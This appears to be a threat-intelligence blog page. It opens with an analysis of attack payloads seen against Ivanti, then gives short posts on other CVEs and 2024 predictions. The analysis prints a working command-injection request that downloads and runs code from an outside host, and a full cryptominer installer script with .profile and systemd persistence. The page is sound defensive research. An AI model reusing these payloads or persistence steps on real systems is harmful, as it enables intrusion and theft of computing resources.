                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2024
UPX 4.2.2       Markus Oberhumer, Laszlo Molnar & John Reiser    Jan 3rd 2024

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
  12519601 -   4741804   37.88%   linux/amd64   watchd0g

Unpacked 1 file.

Those files appear to be written in Go and somewhat obfuscated (or maybe Go always looks obfuscated?) - in any case, the strings command doesn't tell me much other than an SSH private key:


Rather than spending a lot of time digging into this, I decided to move on to the next thing. Searching by checksum, it does appear that watchd0g is known malware

Advice: check for /tmp/watchd0g and /tmp/watchbog

Payload 3

And finally, the last payload:

GET /api/v1/totp/user-backup-code/../../license/keys-status/%3b(type%20curl%20&%3E/dev/null;%20curl%20-o%20/tmp/[ip]:8089/u/123/100123/202401/;%20wget%20-O%20/tmp/[ip]:8089/u/123/100123/202401/;%20chmod%20+x%20/tmp/;%20/tmp/ HTTP/1.1  
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36  
Connection: close  
Accept-Encoding: gzip

Which decodes to:

/api/v1/totp/user-backup-code/../../license/keys-status/;(type curl &>/dev/null; curl -o /tmp/ http://[ip]:8089/u/123/100123/202401/ || type wget &>/dev/null; wget -O /tmp/ http://[ip]:8089/u/123/100123/202401/; chmod  x /tmp/; /tmp/

And the shellscript it fetches:

$ cat 

if [ -z $HOME ]; then

if [ -z $EXP_MONERO_HASHRATE ]; then
  exit 1

power2() {
  if ! type bc >/dev/null; then
    if   [ "$1" -gt "8192" ]; then
      echo "8192"
    elif [ "$1" -gt "4096" ]; then
      echo "4096"
    elif [ "$1" -gt "2048" ]; then
      echo "2048"
    elif [ "$1" -gt "1024" ]; then
      echo "1024"
    elif [ "$1" -gt "512" ]; then
      echo "512"
    elif [ "$1" -gt "256" ]; then
      echo "256"
    elif [ "$1" -gt "128" ]; then
      echo "128"
    elif [ "$1" -gt "64" ]; then
      echo "64"
    elif [ "$1" -gt "32" ]; then
      echo "32"
    elif [ "$1" -gt "16" ]; then
      echo "16"
    elif [ "$1" -gt "8" ]; then
      echo "8"
    elif [ "$1" -gt "4" ]; then
      echo "4"
    elif [ "$1" -gt "2" ]; then
      echo "2"
      echo "1"
    echo "x=l($1)/l(2); scale=0; 2^((x+0.5)/1)" | bc -l;

PORT=$(( $PORT == 0 ? 1 : $PORT ))
PORT=`power2 $PORT`
PORT=$(( 10000 + $PORT ))
if [ -z $PORT ]; then
  echo "ERROR: Can't compute port"
  exit 1

if [ "$PORT" -lt "10001" -o "$PORT" -gt "18192" ]; then
  echo "ERROR: Wrong computed port value: $PORT"
  exit 1

if sudo -n true 2>/dev/null; then
  sudo systemctl stop .ssh_miner.service
killall -9 xmrig

rm -rf $HOME/.ssh
[ -d $HOME/.ssh ] || mkdir $HOME/.ssh
if ! curl  "http://[ip]:8089/u/123/100123/202401/sshd" -o $HOME/.ssh/sshd; then
  if ! wget "http://[ip]:8089/u/123/100123/202401/sshd" -O $HOME/.ssh/sshd; then
    echo "ERROR: Can't download sshd"
    exit 1

if ! curl  "http://[ip]:8089/u/123/100123/202401/31a5f4ceae1e45e1a3cd30f5d7604d89.json" -o $HOME/.ssh/config.json; then
  if ! wget "http://[ip]:8089/u/123/100123/202401/31a5f4ceae1e45e1a3cd30f5d7604d89.json" -o $HOME/.ssh/config.json; then
    echo "ERROR: Can't download config"
    exit 1

chmod +x $HOME/.ssh/sshd

PASS=`hostname | cut -f1 -d"." | sed -r 's/[^a-zA-Z0-9\-]+/_/g'`
if [ "$PASS" == "localhost" ]; then
  PASS=`ip route get 1 | awk '{print $NF;exit}'`
if [ -z $PASS ]; then
if [ ! -z $EMAIL ]; then

sed -i 's/"user": *"[^"]*",/"user": "'$WALLET'",/' $HOME/.ssh/config.json
sed -i 's/"pass": *"[^"]*",/"pass": "'$PASS'",/' $HOME/.ssh/config.json
sed -i 's#"log-file": *null,#"log-file": "'$HOME/.ssh/sshd.log'",#' $HOME/.ssh/config.json
sed -i 's/"syslog": *[^,]*,/"syslog": true,/' $HOME/.ssh/config.json

cp $HOME/.ssh/config.json $HOME/.ssh/config_background.json
sed -i 's/"background": *false,/"background": true,/' $HOME/.ssh/config_background.json

cat >$HOME/.ssh/ </dev/null; then
  nice $HOME/.ssh/sshd \$*
  echo "Monero miner is already running in the background. Refusing to run another one."
  echo "Run \"killall xmrig\" or \"sudo killall xmrig\" if you want to remove background miner first."

chmod +x $HOME/.ssh/

# 创建计划任务

if ! sudo -n true 2>/dev/null; then
  if ! grep .ssh/ $HOME/.profile >/dev/null; then
    echo "[*] Adding $HOME/.ssh/ script to $HOME/.profile"
    echo "$HOME/.ssh/ --config=$HOME/.ssh/config_background.json >/dev/null 2>&1" >>$HOME/.profile
    echo "Looks like $HOME/.ssh/ script is already in the $HOME/.profile"
  echo "[*] Running miner in the background (see logs in $HOME/.ssh/sshd.log file)"
  /bin/bash $HOME/.ssh/ --config=$HOME/.ssh/config_background.json >/dev/null 2>&1

  if [[ $(grep MemTotal /proc/meminfo | awk '{print $2}') > 3500000 ]]; then
    echo "[*] Enabling huge pages"
    echo "vm.nr_hugepages=$((1168+$(nproc)))" | sudo tee -a /etc/sysctl.conf
    sudo sysctl -w vm.nr_hugepages=$((1168+$(nproc)))

  if ! type systemctl >/dev/null; then

    echo "[*] Running miner in the background (see logs in $HOME/.ssh/sshd.log file)"
    /bin/bash $HOME/.ssh/ --config=$HOME/.ssh/config_background.json >/dev/null 2>&1
    echo "ERROR: This script requires \"systemctl\" systemd utility to work correctly."
    echo "Please move to a more modern Linux distribution or setup miner activation after reboot yourself if possible."


    echo "[*] Creating .ssh_miner systemd service"
    cat >/tmp/.ssh_miner.service </dev/null
    sudo systemctl daemon-reload
    sudo systemctl enable .ssh_miner.service
    sudo systemctl start .ssh_miner.service

That appears to install an ssh server, install a .json configuration file, and set up a systemd service, as well as a backdoor in the user's .profile file. Here's the configuration file:

    "api": {
        "id": null,
        "worker-id": null
    "http": {
        "enabled": false,
        "host": "",
        "port": 0,
        "access-token": null,
        "restricted": true
    "autosave": true,
    "background": false,
    "colors": true,
    "title": true,
    "randomx": {
        "init": -1,
        "init-avx2": 0,
        "mode": "auto",
        "1gb-pages": false,
        "rdmsr": true,
        "wrmsr": true,
        "cache_qos": false,
        "numa": true,
        "scratchpad_prefetch_mode": 1
    "cpu": {
        "enabled": true,
        "huge-pages": true,
        "huge-pages-jit": false,
        "hw-aes": null,
        "priority": null,
        "memory-pool": true,
        "yield": true,
        "max-threads-hint": 40,
        "asm": true,
        "argon2-impl": null,
        "astrobwt-max-size": 550,
        "astrobwt-avx2": false,
        "cn/0": false,
        "cn-lite/0": false
    "opencl": {
        "enabled": false,
        "cache": true,
        "loader": null,
        "platform": "AMD",
        "adl": true,
        "cn/0": false,
        "cn-lite/0": false,
        "panthera": false
    "cuda": {
        "enabled": false,
        "loader": null,
        "nvml": true,
        "cn/0": false,
        "cn-lite/0": false,
        "panthera": false,
        "astrobwt": false
    "donate-level": 1,
    "donate-over-proxy": 1,
    "log-file": null,
    "pools": [
            "algo": null,
            "coin": null,
            "url": "",
            "user": "45yeuMC5LauAg18s7JPvpwNmPqDUrgZnhYwpQnbpo5PJKttK4GrjqS2jN1bemwMjrTc7QG414P6XgNZQGbhpwsnrKUsKSt5",
            "pass": "default",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
            "algo": null,
            "coin": null,
            "url": "",
            "user": "43uAMN5SYT45ZQqeNS6jkW5ssKjm7N4bmLT5uL49bvxGJnsPywn2zPhQA8nHc9XTGXavrstGj3pFy4geh3dV2x9uM8TfwzJ",
            "pass": "default",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
    "print-time": 60,
    "health-print-time": 60,
    "dmi": true,
    "retries": 5,
    "retry-pause": 5,
    "syslog": false,
    "tls": {
        "enabled": false,
        "protocols": null,
        "cert": null,
        "cert_key": null,
        "ciphers": null,
        "ciphersuites": null,
        "dhparam": null
    "user-agent": null,
    "verbose": 0,
    "watch": true,
    "rebench-algo": false,
    "bench-algo-time": 20,
    "pause-on-battery": false,
    "pause-on-active": false

Advice: Check for a systemd service called .ssh_miner, a .profile entry that rusn a miner, or a file called /tmp/


Here are the SHA256 sums of all the files I saw:

  • 0c9ada54a8a928a747d29d4132565c4ccecca0a02abe8675914a70e82c5918d2  backdoor
  • bbfba00485901f859cf532925e83a2540adfe01556886837d8648cd92519c68d  ivanti.js
  • cf20940907be484440e8343aa05505ad2e4d6d1f24ef29504bfa54ade4a8455f
  • 8eadb5beeb21d4a95dacd133cb2b934342fcb39fe4df2a8387a0d5499c72450d  watchbog
  • 1e1e94bd2bfd5054265123bf55c4cf6ce87de6692d9329bda4a37e89272356e4  watchd0g
  • 45c9578bbceb2ce2b0f10133d2f3f708e78c8b7eb3c52ad69d686e822f9aa65f  config.json
  • 4cba272d83f6ff353eb05e117a1057699200a996d483ca56fa189e9eaa6bb56c

And some file paths:

  • /etc/<long number>
  • /etc/cron.d/<long number>
  • /tmp/<long number>
  • /var/tmp/<long number>
  • /tmp/watchd0g
  • /tmp/watchbog
  • /tmp/
  • $HOME/.ssh/config.json
  • $HOME/.ssh/sshd
  • $HOME/.ssh/config_background.json

And the IP addresses / users I observed:

  • https[:]//

We recommend organizations block IPs that have recently exploited Ivanti. We have published a Gist containing these IPs.

CVE-2022-1471: SnakeYAML Deserialization Deep Dive

SnakeYAML has slithered its way into a deserialization vulnerability, with versions before 2.0 allowing remote code execution when used to parse untrusted input. In this GreyNoise Labs post, Lead Security Researcher Ron Bowes digs into the technical details, drama, and exploits around CVE-2022-1471.  

By default, SnakeYAML allows the instantiation of arbitrary Java classes from untrusted YAML sources. This "insecure by default" design has led to at least eight different vulnerabilities prior to its official designation as a CVE. We'll highlight the unhelpful responses from developers and the importance of secure defaults.

Additionally, we'll demonstrate how to build a vulnerable app and understand how the deserialization actually works, developing an exploit to demonstrate how to achieve remote code execution.

C'mon down for an in-depth look at this critical YAML vulnerability!

Spike in Atlassian Exploitation Attempts: Patching is Crucial

Diverse Set of IPs Exploiting Atlassian Vulnerabilities, Not Just a Few Bad Actors.

At GreyNoise, we focus heavily on analyzing data trends and anomalies, as they form a fundamental part of our business. While we collect a vast amount of data regarding unsolicited packets being transmitted across the internet, it is only meaningful if we look at the bigger picture.

We have recently introduced some changes to our back-end system for calculating the trending and anomalous events we update hourly here. This has already proven beneficial, as it helped us detect a sudden increase in malicious Atlassian exploitation attempts late last week (gee, I wonder why…).

Atlassian-related topics occupy seven out of the top ten trending tag anomalies at the time of this writing.

Digging a bit deeper into our other Atlassian tags, a similar spike appears (just wasn’t enough to make the top 10):

We conducted an analysis on the various spikes and attempted to determine if they were all caused by the same few IPs searching for all possible vulnerabilities. However, our findings suggest a fair distribution of IPs trying to exploit different vulnerabilities. After examining data from the past 24 hours, we found that the highest number of overlapping IPs across all the tags mentioned above was only 9, with 67% of the total IPs seen only once.

As the year ends, ensure your Atlassian products are secure by removing them from the public internet and keeping them up to date. If they’re still unpatched, it likely is too late to avoid compromise. For extra measure, use our dynamic IP blocking feature to protect your organization from opportunistic mass exploitation.

Now time to indulge in some eggnog and downtime!

Weathering 2024: Storm Watch Predictions for the Year Ahead

Dear Storm Watch hosts,

As we approach the new year, I'm curious about what the future holds for cybersecurity. What are your predictions for 2024? Do you have any hot takes on the emerging trends and potential threats in the digital security landscape?


Curious about Cybersecurity


Kimber Duke, GreyNoise Product:

My 2024 hot takes are influenced by the upcoming election year potential for insanity. We know that this year is going to be fraught with geopolitical situations, making for a tumultuous news cycle that will have us feeling exhausted starting in January. We can definitely expect to be overwhelmed by the sheer amount of news coming out about impending threats from nation-state APTs, and I look forward to seeing what kind of influence this election cycle will have on regulations surrounding ICS, IoT, and supply chain. We've nailed the security onion, but how much more can CISA and the government agencies influence technology beyond the everyday user facing situations?

On a lighter and brighter note, I expect in response to rising rates of targeted attacks rather than opportunistic ones, enterprises will have a renewed interest in deception technology. While this might sound self-serving coming from a GreyNoise product manager, you can already see the rise of interest in honeypots at local conference talks, the concept of canaries becoming central to EDR programs, and the idea that maybe we're getting too many alerts on all the wrong things. Deception engineering will be an addition to the 2024 enterprise security stack because it fast forwards to how your crown jewels are most easily exploited and who wants them. 

Finally, 2024 will be the year of high conference attendances. Information sharing is absolutely broken since the downfall of Twitter, and people are looking for how they can keep in touch with everyone whether it be on Discord, Mastodon, or Reddit. I expect a record Defcon attendance year because of this feeling of isolation everyone is experiencing. Taking the time to reconnect with your network and sharing what you know will be crucial since our communities are in an isolated state, but I hope to see more people connecting in person because of our changing communication tides. 

Emily Austin, Censys Research:

I'll start with what is perhaps the most mundane of my predictions. I think back office software will continue to be a popular target for financially-motivated threat actors in 2024. This was the year of file transfer tool hacks, and while I think we'll continue to see fallout and disclosures from these hacks into 2024, I won't be surprised to see other B2B software come into threat actors' sights. Many of these systems are improperly exposed to the Internet, providing a relatively simple initial access vector.

Over the last few years, we've seen geopolitical and hacking events become increasingly intertwined on the global stage, and I think we'll see that continue in 2024. Nation states may be interested in cyber capabilities to gain intelligence or disrupt adversary infrastructure, but I think we'll also continue to see activity from ideologically-motivated hacktivist groups. Volt Typhoon, the IT Army of Ukraine, and the recent attacks on Israeli-manufactured water PLCs are just a few examples that come to mind.

Finally, I'm interested in the effects of AI on misinformation and disinformation campaigns. I'm not convinced AI will make a tremendous difference in the effectiveness of such propaganda, because it's arguably already been quite effective. Rather, I think the availability of powerful AI-driven tools will facilitate actors' ability to generate deceptive content faster, and at a much broader scale.

The TL;DR of my predictions is: a lot more of the same, but turn it up to 11.

Glenn Thorpe, GreyNoise Labs:

In 2024, we will see a continuation of the key cybersecurity trends we observed in 2023. The ongoing kinetic and cyber wars, highly disruptive ransomware campaigns, increased legal scrutiny of the CISO role, and the rapid mainstream adoption of artificial intelligence will all persist. 

However, there will be one major difference in 2024 – an exponential increase in the use of AI across the board. Both attackers and defenders will race to weaponize AI, ushering in a new era of sophisticated threats and defenses powered by machine learning.  

Wartime cyber operations are unlikely to cease even if kinetic conflicts end, as state and non-state actors have heavily invested in offensive capabilities.  They will have a chest full of perishable vulnerabilities ripe for exploitation in the aftermath. While peace treaties may be signed, cyber peace will lag behind.

Ransomware will also continue unabated until the infrastructures supporting it disappear. Cybercriminals will keep using tried-and-tested social engineering tactics as long as organizations and individuals remain vulnerable. Tighter cyber insurance policies will raise the stakes further.

And for those already fatigued by the AI hype cycle in 2023 – brace yourselves. 2024 will see AI go (even more) mainstream as organizations feel extreme pressure to deploy the latest models; in both their own services and in delivering their services. CISOs will undertake a delicate balancing act, racing to enable AI innovation while ensuring robust protections are built-in by design. AI security emerges as a top priority, much like mobile security during the BYOD era.  

The stage is set for an eventful year ahead. As AI transforms both offense and defense, the cat-and-mouse game will intensify. But with careful planning and responsible AI adoption, cyber defenders can gain an edge over attackers in 2024. 

As my hot take: we’re going to be hearing a LOT more about how cyberattacks physically affect quality of life; including loss of life. 

Bob Rudis, GreyNoise Labs:

AI Gone Wild

We've all seen how AI can be a force for good, but in 2024, we're going to see it go further rogue than it has already gone in 2023. Cybercriminals are going to level up their efforts at using AI to launch attacks that are so sophisticated, they'll make the Death Star look like a kid's toy. We're talking deepfakes that are indistinguishable from reality, and spear phishing attacks that could fool even the most vigilant among us. It's going to be like Skynet, but instead of killer robots, we'll have killer emails and deepfakes.

As a slide into the next prediction, we'll also see actors on all sides (internally and abroad) use AI to try to influence the 2024 U.S. POTUS election 

Election Espionage Extravaganza

With the POTUS election coming up, we're going to see nation-state cyber activity go through the roof. But instead of the usual attacks and ransomware, they will focus on espionage and information theft. Think James Bond, but with more keyboards and fewer martinis. The election will be a prime target, with everything from disinformation campaigns to direct attacks on election infrastructure. Unfortunately, this will be all-too-easy thanks to the level of sophistication in even the most banal attacker toolkits today. It's going to be a wild ride.

The Year of the Tattletale

In 2024, organizations will be forced to spill the beans about their cyber breaches. This will be driven by regulatory changes, a spate of at least three-to-five punishing breaches at well-recognized organizations (one of which will impact a major financial services firm and cause major market distress for days), and the realization that transparency is key to maintaining trust and stability. So, get ready for a year of juicy cyber gossip as companies are forced to air their dirty laundry in public.


Be sure to tune into Storm Watch every Tuesday to stay up to date on all breaking cyber news and expert insights into emerging threats.

Mining The Undiscovered Country With GreyNoise EAP Sensors: F5 BIG-IP Edition

Over at the GreyNoise Labs Grimoire, Ron Bowes has a new, deep-dive post out on the creation of a simple clone of the F5 BIG-IP management port to attract traffic and analyze it. Ron deployed the honeypot for a couple of weeks and then analyzed the traffic using tshark

Some interesting findings include:

  • Brute-force attacks on the login page with basic credentials like “user123” and “password123”.
  • Attempts to exploit CVE-2021-22986, an SSRF issue in the authentication parser.
  • Traffic targeting the “/mgmt/tm/util/bash” endpoint, which is typically targeted for auth-bypass issues like CVE-2022-1388.
  • Two instances of exploitation attempts targeting the “/mgmt/shared/iapp/rpm-spec-creator endpoint”, which is related to CVE-2022-41800, an authenticated remote code execution vulnerability.

Ron does note that the majority of the traffic is not related to a rumored 0-day exploit, and that the honeypot helped provide insights into various attack attempts and vulnerabilities.

Pour out your fav caffeinated beverage and sink into Ron's insightful post!

A Day In The Life Of A GreyNoise Researcher: The Path To Understanding The Remote Code Execution Vulnerability Apache (CVE-2023-50164) in Apache Struts2

Over on the GreyNoise Labs Grimoire, Matthew Remacle (Remy) digs into the newly disclosed Apache Struts2 CVE-2023-50164 file upload vulnerability. This weakness allows an attacker to drop a web shell that can be called remotely through a public interface over defined routes.

Keep an eye on our new tag for CVE-2023-40164.

Remy's analysis highlights the following key points:
  • Apache Struts2 is an open-source Java web application development framework used in various enterprise-grade applications and business use cases.
  • The vulnerability occurs when a multipart form request is used, and the constraints for path normalization are bypassed.
  • The attacker can inject a web shell (e.g., shell.jsp) into the file system, which can then be remotely called.
  • The exploitation of this vulnerability depends on the specific implementation of Apache Struts2 in a vendor's product and the defined actions' path.

In the coming weeks, GreyNoise and the extended research community are expected to investigate vendor and product-specific implementations leveraging Apache Struts2 to determine the exact path that must be traversed to drop a web shell in those products and call it remotely through a public interface over the defined routes.

Using GreyNoise EAP Sensors For Novel Exploitation Discovery For CVE-2023-47246

In a new GreyNoise Labs’ blog post, researcher Jacob Fisher (a.k.a. h0wdy) explored the use of our new Early Access Program (EAP) dynamic sensors to catch a new proof of concept (PoC) for CVE-2023-47246 — a path traversal vulnerability leading to remote code execution (RCE) in SysAid On-Premise software.

In it, Jacob discusses the importance of reactive honeypots/sensors for obtaining accurate and comprehensive packet captures, along with his methodology for digging into the gory details of real-world service exploitation. This work helped create our new tag for this exploit.

Discover how dynamic honeypots can help you stay ahead of emerging threats, and learn from Jacob’s experience with this novel vulnerability.

CVE-2023-49105, WebDAV Api Authentication Bypass in ownCloud

Have you heard of CVE-2023-49105? While the 10/10 CVE-2023-49103 got all the attention last week, organizations should not quickly overlook CVE-2023-49105!

Last week, GreyNoise published a high-level and deep-dive blog into a seemingly simple (but actually complex) vulnerability in ownCloud (CVE-2023-49103) that permitted users to enumerate environmental variables. Since it was listed as CVSS 10/10, everybody jumped on it. 

Once we understood the 10/10 vulnerability, CVE-2023-49103, we shifted focus to the 9.8/10 vulnerability, CVE-2023-49105, a WebDAV Api Authentication Bypass in ownCloud.

What we found is that CVE-2023-49105 is arguably a more severe vulnerability. Ron Bowes, Lead Security Researcher, quickly developed a PoC for this vulnerability (another deep-dive here!) and verified the findings published by Abionics Security’s write-up demonstrating how this vulnerability can enable remote code execution.

CVE-2023-49105 is an authentication bypass issue affecting ownCloud from version 10.6.0 to version 10.13.0. It allows an attacker to access, modify, or delete any file without authentication if the username is known. Even if the user has no signing key configured, ownCloud accepts pre-signed URLs, enabling the attacker to generate URLs for arbitrary file operations. 

Successfully exploiting CVE-2023-49105 can lead to serious impacts like data theft, ransomware deployment, and remote code execution. While it may have received less initial attention than the CVSS 10 issue, organizations using affected ownCloud versions should treat patching this vulnerability as a critical priority. Unlike the CVSS 10 issue, this affects *all* installations, not just Docker-based ones.

Upgrading to ownCloud 10.13.3 or later is reported to resolve CVE-2023-49105.

GreyNoise has developed a tag for both CVE-2023-49105 and CVE-2023-49103.

At this time we have not observed exploitation in the wild of CVE-2023-49105.

No blog articles found

Please update your search term or select a different category and try again.